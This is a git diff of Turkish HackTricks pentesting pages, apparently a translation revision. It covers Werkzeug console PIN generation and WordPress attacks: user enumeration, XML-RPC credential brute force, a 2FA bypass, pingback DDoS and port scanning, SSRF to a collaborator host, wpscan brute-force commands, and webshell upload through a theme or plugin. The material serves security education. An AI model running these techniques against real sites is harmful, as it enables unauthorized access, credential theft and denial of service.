sonrasındaki ilk satırıyla birleştirir. +* **`get_machine_id()`**: `/etc/machine-id` veya `/proc/sys/kernel/random/boot_id` ile `/proc/self/cgroup`'ın son eğik çizgiden sonraki ilk satırını birleştirir.
+ `get_machine_id()` için kod ```python def get_machine_id() -> t.Optional[t.Union[str, bytes]]: @@ -102,11 +106,9 @@ return linux # On OS X, use ioreg to get the computer's serial number. try: ``` -
+ -Gerekli tüm veriler toplandıktan sonra, Werkzeug konsol PIN'i oluşturmak için saldırı betiği çalıştırılabilir: - -Gerekli tüm veriler toplandıktan sonra, Werkzeug konsol PIN'i oluşturmak için saldırı betiği çalıştırılabilir. Betik, birleştirilmiş `probably_public_bits` ve `private_bits` kullanarak bir karma oluşturur ve daha sonra bu karma daha fazla işleme tabi tutularak nihai PIN üretilir. Aşağıda bu işlemi gerçekleştirmek için Python kodu bulunmaktadır: +Gerekli tüm veriler toplandıktan sonra, açıklayıcı betik çalıştırılarak Werkzeug konsol PIN'i oluşturulabilir. Betik, birleştirilmiş `probably_public_bits` ve `private_bits` kullanarak bir karmayı oluşturur, daha sonra bu karmayı işleyerek nihai PIN'i üretir. Aşağıda bu işlemi gerçekleştirmek için Python kodu bulunmaktadır: ```python import hashlib from itertools import chain @@ -152,11 +154,10 @@ rv = num print(rv) ``` -Bu betik, bitlerin birleştirilerek karma algoritmasıyla PIN üretir, belirli tuzlar (`cookiesalt` ve `pinsalt`) ekler ve çıktıyı biçimlendirir. Werkzeug konsolu tarafından beklenen PIN ile eşleştiğinden emin olmak için `probably_public_bits` ve `private_bits` için gerçek değerlerin hedef sistemden doğru bir şekilde elde edilmesi önemlidir. - +Bu betik, bitleri birleştirerek PIN'i oluşturur, belirli tuzlar ekler (`cookiesalt` ve `pinsalt`) ve çıktıyı biçimlendirir. Üretilen PIN'in Werkzeug konsolu tarafından beklenen PIN ile eşleşmesini sağlamak için `probably_public_bits` ve `private_bits` için gerçek değerlerin hedef sistemden doğru bir şekilde alınması önemlidir. {% hint style="success" %} -Eğer Werkzeug'ın **eski bir sürümünde** iseniz, **karma algoritmasını sha1 yerine md5 olarak değiştirmeyi deneyin**. +Eğer **eski bir Werkzeug sürümünde** iseniz, **hashleme algoritmasını sha1 yerine md5'e** değiştirmeyi deneyin. {% endhint %} ## Referanslar @@ -164,22 +165,22 @@ Eğer Werkzeug'ın **eski bir sürümünde** iseniz, **karma algoritmasını sha * [**https://www.daehee.com/werkzeug-console-pin-exploit/**](https://www.daehee.com/werkzeug-console-pin-exploit/) * [**https://ctftime.org/writeup/17955**](https://ctftime.org/writeup/17955) -
+
-**Zafiyet değerlendirmesi ve penetrasyon testi için anında kullanılabilir kurulum**. 20'den fazla araç ve özellikle birlikte her yerden tam bir pentest çalıştırın. Biz pentesterları değiştirmiyoruz - onlara daha derine kazmak, kabukları patlatmak ve eğlenmek için biraz zaman kazandırmak için özel araçlar, tespit ve istismar modülleri geliştiriyoruz. +**Anında kullanılabilir zafiyet değerlendirme ve penetrasyon testi kurulumu**. 20'den fazla araç ve özellikle tam bir pentest çalıştırın, keşiften raporlamaya kadar uzanan. Pentester'ları değiştirmiyoruz - özel araçlar, tespit ve istismar modülleri geliştiriyoruz, böylece daha derine inmek, kabuklar açmak ve eğlenmek için zaman kazanıyorlar. {% embed url="https://pentest-tools.com/" %}
-htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmak için AWS hackleme öğrenin! +Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! -HackTricks'ı desteklemenin diğer yolları: +HackTricks'i desteklemenin diğer yolları: -* Şirketinizi HackTricks'te **reklamınızı görmek** veya HackTricks'i **PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**. -* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın. +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarınızı paylaşarak HackTricks ve HackTricks Cloud** github depolarına PR göndererek.
diff --git a/network-services-pentesting/pentesting-web/wordpress.md b/network-services-pentesting/pentesting-web/wordpress.md index 1ca62c6c8..a0988c07a 100644 --- a/network-services-pentesting/pentesting-web/wordpress.md +++ b/network-services-pentesting/pentesting-web/wordpress.md @@ -2,22 +2,22 @@
-AWS hackleme becerilerinizi sıfırdan kahraman seviyesine çıkarın htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile öğrenin! +AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert) ile! HackTricks'ı desteklemenin diğer yolları: -* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**. -* Hacking hilelerinizi [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın. +- **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın! +- [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin +- [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +- **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**. +- **Hacking püf noktalarınızı göndererek HackTricks** (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR'lar göndererek paylaşın.
-
+
\ -Dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin** için [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanın.\ +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ Bugün Erişim Alın: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -25,42 +25,42 @@ Bugün Erişim Alın: ## Temel Bilgiler **Yüklenen** dosyalar şuraya gider: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`\ -**Temaların dosyaları /wp-content/themes/ dizininde bulunabilir**, bu yüzden temanın bazı php dosyalarını değiştirerek RCE elde etmek isterseniz muhtemelen bu yolu kullanacaksınız. Örneğin: **twentytwelve** temasını kullanarak **404.php** dosyasına erişebilirsiniz: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)\ -**Başka bir kullanışlı URL:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +**Temalar dosyaları /wp-content/themes/ içinde bulunabilir**, bu yüzden temanın php'sini değiştirirseniz RCE elde etmek için muhtemelen bu yolu kullanacaksınız. Örneğin: **twentytwelve temasını** kullanarak **404.php** dosyasına erişebilirsiniz: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)\ +**Başka faydalı bir URL şu olabilir:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) **wp-config.php** dosyasında veritabanının kök şifresini bulabilirsiniz. -Kontrol edilmesi gereken varsayılan giriş yolları: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_ +Kontrol edilecek varsayılan giriş yolları: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_ ### **Ana WordPress Dosyaları** -* `index.php` -* `license.txt`, yüklü olan WordPress sürümü gibi kullanışlı bilgiler içerir. -* `wp-activate.php`, yeni bir WordPress sitesi kurarken e-posta etkinleştirme süreci için kullanılır. -* Giriş klasörleri (gizlemek için yeniden adlandırılmış olabilir): -* `/wp-admin/login.php` -* `/wp-admin/wp-login.php` -* `/login.php` -* `/wp-login.php` -* `xmlrpc.php`, WordPress'in HTTP'yi taşıma mekanizması olarak hareket eden ve kodlama mekanizması olarak XML'i kullanan bir özelliğini temsil eden bir dosyadır. Bu tür iletişim, WordPress [REST API](https://developer.wordpress.org/rest-api/reference) tarafından değiştirilmiştir. -* `wp-content` klasörü, eklentilerin ve temaların depolandığı ana dizindir. -* `wp-content/uploads/`, platforma yüklenen dosyaların depolandığı dizindir. -* `wp-includes/`, sertifikalar, yazı tipleri, JavaScript dosyaları ve widget'lar gibi çekirdek dosyaların depolandığı dizindir. -* `wp-sitemap.xml`, Wordpress sürüm 5.5 ve üstünde, Worpress tüm genel gönderileri ve genel olarak sorgulanabilir gönderi türlerini ve taksonomileri içeren bir site haritası XML dosyası oluşturur. +- `index.php` +- `license.txt` WordPress'in yüklü olduğu sürüm gibi yararlı bilgiler içerir. +- `wp-activate.php` yeni bir WordPress sitesi kurulurken e-posta etkinleştirme işlemi için kullanılır. +- Giriş klasörleri (gizlemek için yeniden adlandırılmış olabilir): + - `/wp-admin/login.php` + - `/wp-admin/wp-login.php` + - `/login.php` + - `/wp-login.php` +- `xmlrpc.php`, WordPress'in bir özelliğini temsil eden bir dosyadır ve HTTP'nin taşıma mekanizması olarak hareket eden ve kodlama mekanizması olarak XML'i kullanan verilerin iletilmesini sağlar. Bu tür iletişim, WordPress [REST API](https://developer.wordpress.org/rest-api/reference) tarafından değiştirilmiştir. +- `wp-content` klasörü eklentilerin ve temaların depolandığı ana dizindir. +- `wp-content/uploads/` Platforma yüklenen dosyaların depolandığı dizindir. +- `wp-includes/` Bu, sertifikalar, yazı tipleri, JavaScript dosyaları ve widget'lar gibi çekirdek dosyaların depolandığı dizindir. +- `wp-sitemap.xml` Wordpress'in 5.5 ve üstü sürümlerinde, Wordpress tüm genel gönderileri ve genel olarak sorgulanabilir gönderi türlerini ve taksonomileri içeren bir site haritası XML dosyası oluşturur. -**Saldırı sonrası** +**Saldırı sonrası işlemler** -* `wp-config.php` dosyası, WordPress'in veritabanına bağlanmak için gereken bilgileri içerir; veritabanı adı, veritabanı ana bilgisayarı, kullanıcı adı ve şifre, kimlik doğrulama anahtarları ve tuzları ve veritabanı tablo öneki. Bu yapılandırma dosyası ayrıca sorun giderme için yararlı olabilecek DEBUG modunu etkinleştirmek için kullanılabilir. +- `wp-config.php` dosyası, WordPress'in veritabanına bağlanmak için gereken bilgileri içerir; veritabanı adı, veritabanı ana bilgisayarı, kullanıcı adı ve şifre, kimlik doğrulama anahtarları ve tuzları ve veritabanı tablo öneki. Bu yapılandırma dosyası ayrıca sorun gidermede kullanışlı olabilecek DEBUG modunu etkinleştirmek için de kullanılabilir. ### Kullanıcı İzinleri -* **Yönetici** -* **Editör**: Kendi ve diğerlerinin gönderilerini yayımlar ve yönetir -* **Yazar**: Kendi gönderilerini yayımlar ve yönetir -* **Katılımcı**: Gönderilerini yazabilir ve yönetebilir, ancak yayımlayamaz -* **Abone**: Gönderileri tarayabilir ve profilini düzenleyebilir +- **Yönetici** +- **Editör**: Kendi ve diğerlerinin gönderilerini yayımlar ve yönetir +- **Yazar**: Kendi gönderilerini yayımlar ve yönetir +- **Katılımcı**: Gönderilerini yazabilir ve yönetebilir ancak yayımlayamaz +- **Abone**: Gönderileri göz atabilir ve profilini düzenleyebilir -## **Pasif Sızma** +## **Pasif Numaralandırma** ### **WordPress sürümünü alın** @@ -68,7 +68,7 @@ Kontrol edilmesi gereken varsayılan giriş yolları: _**/wp-login.php, /wp-logi Sayfanın **kaynak kodu** içinde (örnek: [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)): -* grep +- grep ```bash curl https://victim.com/ | grep 'content="WordPress' ``` @@ -76,11 +76,11 @@ curl https://victim.com/ | grep 'content="WordPress' ![](<../../.gitbook/assets/image (343).png>) -* CSS link files +* CSS bağlantı dosyaları ![](<../../.gitbook/assets/image (344).png>) -* JavaScript files +* JavaScript dosyaları ![](<../../.gitbook/assets/image (346).png>) @@ -96,7 +96,7 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp ```bash curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 ``` -### Genel olarak sürümleri çıkarın +### Genel olarak sürümleri çıkart {% code overflow="wrap" %} ```bash @@ -105,11 +105,11 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp ``` {% endcode %} -
+
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturun ve otomatikleştirin.\ -Bugün erişim alın: +[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **iş akışlarını otomatikleştirin**.\ +Bugün Erişim Edinin: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -117,17 +117,17 @@ Bugün erişim alın: ### Eklentiler ve Temalar -Muhtemelen tüm Eklentileri ve Temaları bulamayacaksınız. Bunları keşfetmek için **Eklentilerin ve Temaların bir listesini aktif olarak Brute Force** yapmanız gerekecek (neyse ki bu listeleri içeren otomatik araçlar mevcuttur). +Muhtemelen tüm Eklentileri ve Temaları bulamayacaksınız. Hepsini keşfetmek için **Eklentiler ve Temaların listesini aktif olarak Brute Force etmeniz gerekecek** (şansımıza, bu listeleri içeren otomatik araçlar bulunmaktadır). ### Kullanıcılar -**ID Brute** +**Kimlik Brute** -WordPress sitesinden geçerli kullanıcıları Brute Force yöntemiyle kullanıcı kimliklerini tahmin ederek elde edebilirsiniz: +WordPress sitesinden geçerli kullanıcıları Brute Force yöntemiyle kullanıcı kimliklerini zorlayarak elde edersiniz: ``` curl -s -I -X GET http://blog.example.com/?author=1 ``` -Eğer yanıtlar **200** veya **30X** ise, bu demektir ki id **geçerlidir**. Eğer yanıt **400** ise, id **geçersizdir**. +Eğer yanıtlar **200** veya **30X** ise, bu demektir ki id **geçerlidir**. Eğer yanıt **400** ise, o zaman id **geçersizdir**. **wp-json** @@ -139,17 +139,17 @@ Başka bir `/wp-json/` uç noktası, kullanıcılar hakkında bazı bilgileri or ``` curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL ``` -Bu uç nokta sadece bir gönderi yapmış olan kullanıcıları ortaya çıkarır. Sadece bu özelliği etkinleştirmiş kullanıcılar hakkında bilgi sağlanır. +Bu uç noktanın yalnızca bir gönderi yapmış olan kullanıcıları ortaya çıkardığını unutmayın. **Yalnızca bu özelliğe sahip kullanıcılar hakkında bilgi sağlanacaktır**. Ayrıca **/wp-json/wp/v2/pages** IP adreslerini sızdırabilir. -#### Kullanıcı adı giriş numaralandırması +#### Kullanıcı adı girişi numaralandırması -**`/wp-login.php`**'ye giriş yaparken, **mesaj**, **belirtilen kullanıcı adının var olup olmadığına** bağlı olarak **farklıdır**. +**`/wp-login.php`**'ye giriş yaparken **mesaj**, belirtilen **kullanıcı adının var olup olmadığına bağlı olarak farklıdır**. ### XML-RPC -Eğer `xml-rpc.php` etkinse, kimlik bilgileri için brute-force saldırısı yapabilir veya başka kaynaklara DoS saldırıları başlatabilirsiniz. (Bu süreci örneğin [buradaki](https://github.com/relarizky/wpxploit) aracı kullanarak otomatikleştirebilirsiniz). +`xml-rpc.php` etkinse kimlik bilgileri kaba kuvvet saldırısı gerçekleştirebilir veya diğer kaynaklara DoS saldırıları başlatmak için kullanabilirsiniz. (Bu süreci otomatikleştirebilirsiniz[ buna örnek olarak şunu kullanabilirsiniz](https://github.com/relarizky/wpxploit)). Etkin olup olmadığını görmek için _**/xmlrpc.php**_'ye erişmeyi deneyin ve bu isteği gönderin: @@ -162,9 +162,9 @@ Etkin olup olmadığını görmek için _**/xmlrpc.php**_'ye erişmeyi deneyin v ``` ![](https://h3llwings.files.wordpress.com/2019/01/list-of-functions.png?w=656) -**Kimlik Bilgileri Bruteforce** +**Kimlik Bilgileri Kaba Kuvvet** -**`wp.getUserBlogs`**, **`wp.getCategories`** veya **`metaWeblog.getUsersBlogs`** gibi yöntemler kimlik bilgilerini brute-force etmek için kullanılabilir. Eğer bunlardan herhangi birini bulabilirseniz şunu gönderebilirsiniz: +**`wp.getUserBlogs`**, **`wp.getCategories`** veya **`metaWeblog.getUsersBlogs`** gibi yöntemler kimlik bilgilerini kaba kuvvetle denemek için kullanılabilir. Eğer bunlardan herhangi birini bulabilirseniz şunu gönderebilirsiniz: ```markup wp.getUsersBlogs @@ -174,9 +174,9 @@ Etkin olup olmadığını görmek için _**/xmlrpc.php**_'ye erişmeyi deneyin v ``` -Eğer kimlik bilgileri geçerli değilse, 200 kodlu bir yanıt içindeki _"Kullanıcı adı veya şifre yanlış"_ mesajı görünmelidir. +200 kodlu yanıt içindeki _"Kullanıcı adı veya şifre yanlış"_ mesajı, kimlik bilgileri geçerli değilse görünmelidir. -![](<../../.gitbook/assets/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (4).png>) +![](<../../.gitbook/assets/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (4).png>) ![](<../../.gitbook/assets/image (102).png>) @@ -210,18 +210,18 @@ Doğru kimlik bilgilerini kullanarak bir dosya yükleyebilirsiniz. Yanıtta yol ``` -Ayrıca, aynı istekte birkaç kimlik bilgisi deneyebileceğiniz için kimlik bilgilerini kaba kuvvetle çözmek için **`system.multicall`** kullanarak daha hızlı bir yol vardır: +Ayrıca, **`system.multicall`** kullanarak aynı istekte birkaç kimlik bilgisini deneyebileceğiniz daha **hızlı bir yol** vardır:
**2FA'yı Atlatma** -Bu yöntem, programlar için ve insanlar için değil, eski olduğu için 2FA'yı desteklemez. Bu nedenle, geçerli kimlik bilgileriniz varsa ancak ana giriş 2FA ile korunuyorsa, **xmlrpc.php'yi kullanarak 2FA'yı atlayarak bu kimlik bilgileriyle giriş yapabilirsiniz**. Unutmayın ki, konsol aracılığıyla yapabileceğiniz tüm eylemleri gerçekleştiremeyeceksiniz, ancak Ippsec bunu [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s) adresinde açıkladığı gibi hala RCE'ye ulaşabilirsiniz. +Bu yöntem programlar içindir ve insanlar için değil, eski olduğu için 2FA'yı desteklemez. Dolayısıyla, geçerli kimlik bilgileriniz varsa ancak ana giriş 2FA ile korunuyorsa, **xmlrpc.php'yi kullanarak bu kimlik bilgileriyle 2FA'yı atlayarak oturum açabilirsiniz**. Tüm konsol üzerinden yapabileceğiniz tüm işlemleri gerçekleştiremeyeceğinizi unutmayın, ancak Ippsec'in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s) açıkladığı gibi hala RCE'ye ulaşabilirsiniz. **DDoS veya port taraması** -Listede _**pingback.ping**_ yöntemini bulabilirseniz, Wordpress'i herhangi bir ana bilgisayara / porta keyfi bir istek göndermesini sağlayabilirsiniz.\ -Bu, binlerce Wordpress sitesine bir konuma erişmelerini istemek için kullanılabilir (bu konumda bir DDoS oluşturulur) veya Wordpress'in bazı dahili ağları taramasını sağlamak için kullanılabilir (herhangi bir port belirtebilirsiniz). +Eğer listede **_pingback.ping_** yöntemini bulabilirseniz, Wordpress'in herhangi bir ana/bağlantı noktasına keyfi bir istek göndermesini sağlayabilirsiniz.\ +Bu, binlerce Wordpress sitesinin bir **yeri** erişmesini istemek için kullanılabilir (bu nedenle o konumda bir **DDoS** oluşturulur) veya **Wordpress**'i bazı iç ağları **taramak** için kullanabilirsiniz (herhangi bir bağlantı noktasını belirtebilirsiniz). ```markup pingback.ping @@ -231,11 +231,9 @@ Bu, binlerce Wordpress sitesine bir konuma erişmelerini istemek için kullanıl ``` -![](../../.gitbook/assets/1\_JaUYIZF8ZjDGGB7ocsZC-g.png) +Eğer bir değeri 0'dan büyük olan **faultCode** alırsanız (17), bu portun açık olduğu anlamına gelir. -Eğer **faultCode** değeri **0**'dan büyük (17) ise, bu portun açık olduğu anlamına gelir. - -Bu yöntemi DDoS saldırısı yapmak için nasıl istismar edeceğinizi öğrenmek için önceki bölümde **`system.multicall`** kullanımına bir göz atın. +Bu yöntemi DDoS saldırısına neden olmak için nasıl kötüye kullanacağınızı öğrenmek için önceki bölümde **`system.multicall`** kullanımına bakın. **DDoS** ```markup @@ -251,17 +249,17 @@ Bu yöntemi DDoS saldırısı yapmak için nasıl istismar edeceğinizi öğrenm ### wp-cron.php DoS -Bu dosya genellikle Wordpress sitesinin kök dizininde bulunur: **`/wp-cron.php`**\ -Bu dosyaya **erişildiğinde** bir "**ağır**" MySQL **sorgusu** gerçekleştirilir, bu nedenle saldırganlar tarafından **DoS** oluşturmak için kullanılabilir.\ -Ayrıca, varsayılan olarak `wp-cron.php` her sayfa yüklenmesinde çağrılır (herhangi bir Wordpress sayfası istendiğinde), yüksek trafikli sitelerde sorunlara neden olabilir (DoS). +Bu dosya genellikle Wordpress sitesinin kökünde bulunur: **`/wp-cron.php`**\ +Bu dosyaya **erişildiğinde** a "**yoğun**" MySQL **sorgusu** gerçekleştirilir, bu nedenle **saldırganlar** tarafından **DoS** **oluşturmak** için kullanılabilir.\ +Ayrıca, varsayılan olarak, `wp-cron.php` her sayfa yüklendiğinde çağrılır (bir istemcinin herhangi bir Wordpress sayfasını istediği her an), yüksek trafikli sitelerde sorunlara neden olabilir (DoS). Wp-Cron'un devre dışı bırakılması ve gereken işlemleri düzenli aralıklarla gerçekleştiren bir gerçek cronjob oluşturulması önerilir (sorunlara neden olmadan). ### /wp-json/oembed/1.0/proxy - SSRF -_Worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ adresine erişmeyi deneyin ve Worpress sitesi size bir istek yapabilir. +https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ adresine erişmeyi deneyin ve Wordpress sitesi size bir istek yapabilir. -Bu çalışmadığında alınan yanıt: +Bu, çalışmadığında gelen yanıttır: ![](<../../.gitbook/assets/image (184) (1).png>) @@ -269,7 +267,7 @@ Bu çalışmadığında alınan yanıt: {% embed url="https://github.com/t0gu/quickpress/blob/master/core/requests.go" %} -Bu araç, **methodName: pingback.ping** ve **/wp-json/oembed/1.0/proxy** yolunu kontrol eder ve varsa bunları sömürmeye çalışır. +Bu araç, **methodName: pingback.ping**'i kontrol eder ve **/wp-json/oembed/1.0/proxy** yolunu kontrol eder ve varsa bunları sömürmeye çalışır. ### Otomatik Araçlar ```bash @@ -277,32 +275,32 @@ cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x6 wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs) #You can try to bruteforce the admin user using wpscan with "-U admin" ``` -
+
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturun ve otomatikleştirin.\ +[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **iş akışlarını otomatikleştirin**.\ Bugün Erişim Alın: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} ## Biraz üzerine yazarak erişim alın -Bu daha çok bir merak konusu olarak kabul edilir. [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) CTF'sinde herhangi bir wordpress dosyasının 1 bitini çevirebilirsiniz. Bu sayede `/var/www/html/wp-includes/user.php` dosyasının `5389` konumunu değiştirerek NOT (`!`) işlemini devre dışı bırakabilirsiniz. +Bu, gerçek bir saldırıdan ziyade bir meraktır. CTF'de [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) herhangi bir wordpress dosyasından 1 bit çevirebilirdiniz. Bu sayede `/var/www/html/wp-includes/user.php` dosyasının `5389` konumunu çevirerek NOT (`!`) işlemini NOP yapabilirdiniz. ```php if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) { return new WP_Error( ``` ## **Panel RCE** -**Kullanılan temadan bir php dosyasını değiştirme (yönetici kimlik bilgilerine ihtiyaç duyulur)** +**Kullanılan temadan bir php dosyasını değiştirme (yönetici kimlik bilgileri gereklidir)** -Görünüm → Tema Düzenleyici → 404 Şablonu (sağ tarafta) +Görünüm → Tema Düzenleyici → 404 Şablonu (sağda) İçeriği bir php kabuğu için değiştirin: ![](<../../.gitbook/assets/image (21) (1) (1).png>) -Güncellenen sayfaya nasıl erişebileceğinizi internetten araştırın. Bu durumda buraya erişmeniz gerekiyor: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +Bu güncellenmiş sayfaya nasıl erişebileceğinizi internetten arayın. Bu durumda buraya erişmeniz gerekecek: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) ### MSF @@ -312,10 +310,10 @@ use exploit/unix/webapp/wp_admin_shell_upload ``` ## Eklenti RCE -### PHP eklenti +### PHP eklentisi -Bir eklenti olarak .php dosyalarını yüklemek mümkün olabilir.\ -Örneğin, php arka kapınızı oluşturun: +Muhtemelen bir eklenti olarak .php dosyaları yüklemek mümkün olabilir.\ +Örneğin şu şekilde php arka kapınızı oluşturun: ![](<../../.gitbook/assets/image (407).png>) @@ -323,44 +321,39 @@ Ardından yeni bir eklenti ekleyin: ![](<../../.gitbook/assets/image (409).png>) -Eklentiyi yükleyin ve Şimdi Yükle'yi tıklayın: +Eklentiyi yükleyin ve Şimdi Yükle'ye basın: ![](<../../.gitbook/assets/image (411).png>) -Devam et'i tıklayın: +Procced'e tıklayın: ![](<../../.gitbook/assets/image (412).png>) -Bunun görünüşte bir şey yapmadığı olasıdır, ancak Medya'ya giderseniz, yüklenen kabuğunuzu göreceksiniz: +Büyük ihtimalle görünüşte hiçbir şey yapmayacak, ancak Medya'ya giderseniz, yüklenen kabuğunuzu göreceksiniz: ![](<../../.gitbook/assets/image (413).png>) -Buna erişin ve ters kabloyu yürütmek için URL'yi göreceksiniz: +Erişin ve ters kabloyu yürütmek için URL'yi göreceksiniz: ![](<../../.gitbook/assets/image (414).png>) ### Zararlı eklenti yükleme ve etkinleştirme -Bu yöntem, bilinen bir güvenlik açığına sahip olan ve bir web kabuğu elde etmek için istismar edilebilen zararlı bir eklentinin kurulumunu içerir. Bu işlem WordPress panosu aracılığıyla aşağıdaki gibi gerçekleştirilir: +Bu yöntem, zayıf olduğu bilinen zararlı bir eklentinin yüklenmesini ve bir web kabuğu elde etmek için sömürülmesini 